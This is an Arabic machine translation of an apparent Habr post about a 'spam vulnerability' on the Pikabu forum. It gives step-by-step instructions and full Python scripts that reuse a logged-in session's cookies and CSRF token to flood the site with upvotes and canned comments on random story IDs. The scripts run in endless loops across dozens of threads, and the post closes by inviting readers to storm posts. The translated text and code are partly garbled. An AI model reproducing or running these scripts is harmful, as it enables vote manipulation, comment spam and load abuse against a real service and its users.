Pikabu البريد المزعج الضعف

مرحبا أود التحدث عن مشكلة عدم حصانة البريد العشوائي في منتدى Pikabu.


أعتقد أن المنتدى ليس هو الأفضل ، لذلك أختبر كل شيء فيه.


ما هي النقطة؟


تكمن مشكلة عدم الحصانة في زيادة النشاط وعدد التقييمات والتعليقات لأدنى وقت باستخدام برنامج نصي Python.


أرني!


تشغيل البرنامج النصي في غضون 24 ساعة:


صورة


أعتقد أنني تحرير HTML؟ و لا!


كيف فعلت ذلك؟


سهل جدا!


أولاً ، قم بإنشاء ملف .py:


صورة


بعد ذلك ، دعنا نستورد الوحدات التي سنقدم بها طلبات لاتخاذ إجراءات ، وكذلك وحدة نمطية متعددة مؤشرات ترابط البرنامج النصي لدينا:


import requests from threading import Thread 

لنقم الآن بإنشاء وظيفة مع حلقة لا نهائية ترسل طلباتنا:


 def spam(): while True: req = requests.post('') 

ولكن كيف تعرف بيانات الطلب؟


افتح FireFox ، انتقل إلى Pikabu.


اختيار أي موضوع. تحوم فوق السهم لأعلى:


صورة


الآن اضغط على تركيبة المفاتيح: cntr + shift + i.


ظهر شريط أدوات المطور على الشاشة:


للحفاظ على رؤية مستخدمي المنتدى المكلفين - اضطررت إلى قطع سمة AdBlock (أوم):


صورة


دعنا نذهب إلى علامة التبويب "الشبكة".


الآن نرى جميع الطلبات الصادرة في هذا المتصفح.


انقر على سهم "تقييم الموضوع" وانظر بسرعة في لوحة الاستعلام.
اضغط على زر "الطريقة" حتى يكون الطلب الأول هو طلب من النوع "POST":


صورة


من بين الاستعلامات الأولى ، ابحث عن هذا واحد:


صورة


انقر بزر الماوس الأيمن فوقه ، وحوم الماوس فوق الزر نسخ ، وحدد نسخ بيانات POST. بعد ذلك ، أدخل البيانات في الاستعلام بهذه الطريقة:


 req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

ولكن بعد ذلك سوف نقوم بتقييم نفس المشاركة!


لإصلاح ذلك ، أضف الوحدة النمطية "العشوائية" إلى الوحدات النمطية المستوردة بالفعل باستخدام الكود:


 import random 

وإضافة الخط إلى حلقة بينما:


 story = random.randint(1000000, 6865568) 

دعنا نستمر في إنشاء طلب! إليك ما قمنا به بالفعل:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':story, 'vote':'1' }, ) 

أضف إلى الطلب الشيء الأكثر أهمية - الرؤوس. دعنا نعود إلى FireFox ، فقط انقر بزر الماوس الأيمن على الطلب ، واختر "نسخ" ولكن هذه المرة - "طلب رؤوس".
بنفس الطريقة ، من خلال علامات النقطتين والاقتباس ، أدخلها في الكود:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) 

في حقل "بياناتك" ، أدخل القيم الخاصة بك.


عرض حالة الطلب:


 print(req) 

إذا تم عرض "Responce <200>" ، فسيتم إرسال الطلب وتقييم الموضوع.
بعد ذلك ، سنجعل البرنامج النصي أسرع قليلاً (55 مرة بالضبط).


إنشاء الخيوط لطلباتنا:


 for i in range(55): thr = Thread(target = spam) thr.start() 

حسنا ، هذا كل شيء! يمكنك الجري.


وهنا هو الكود كله:


 import requests from threading import Thread import random def spam(): while True: story = random.randint(1000000, 6865568) req = requests.post('https://pikabu.ru/ajax/vote_story.php', data = { 'story_id':str(story), 'vote':'1' }, headers = { 'Host: 'pikabu.ru', 'User-Agent': ' ', 'Accept': 'application/json, text/javascript, */*; q=0.01', 'Accept-Language': 'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Accept-Encoding': 'gzip, deflate, br', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Csrf-Token': ' ', 'X-Requested-With': 'XMLHttpRequest', 'Content-Length': '23', 'Connection': 'keep-alive', 'Referer': 'https://pikabu.ru/', 'Cookie': '  ' }) print(req) for i in range(55): thr = Thread(target = spam) thr.start() 

بنفس الطريقة تتم الغش التعليقات. لن أشرح ذلك بالتفصيل ، فقط ضع الكود:


 # -*- coding: utf8 -*- import requests from threading import Thread import random def sender(): comments = [' !  !  !', ' ! !    !', '  ! !     ...', '!  !', '  .  !', ', !', ' !  !  !', ' ! !'] while True: #6863803 postid = random.randint(1000000, 6865568) comnom = random.randint(0, 7) req = requests.post('https://pikabu.ru/ajax/comments_actions.php', data = { 'desc':comments[comnom], 'action':'create', 'story_id':postid, 'parent_id':'0', 'images':'[]' }, headers = { 'Accept':'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding':'gzip, deflate, br', 'Accept-Language':'ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3', 'Connection':'keep-alive', 'Content-Length':'23', 'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8', 'Cookie':' ', 'Host':'pikabu.ru', 'Referer':'https://pikabu.ru/', 'TE':'Trailers', 'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:66.0) Gecko/20100101 Firefox/66.0', 'X-Csrf-Token':' ', 'X-Requested-With':'XMLHttpRequest'}) print(postid, ' commented: ',req.text) for i in range(35): thr = Thread(target = sender) thr.start() print(thr) print('All thread are initialized! Programm started!') 

حسنًا ، هذا كل شيء. يمكنك اقتحام المشاركات والتعليقات.


حظا سعيدا


حب هبر.


الإجراءات المذكورة أعلاه قانونية تمامًا ، لا تنتهك أكثر من مادة واحدة من القانون الجنائي للاتحاد الروسي في 10/02/2019.

Source: https://habr.com/ru/post/ar469839/


All Articles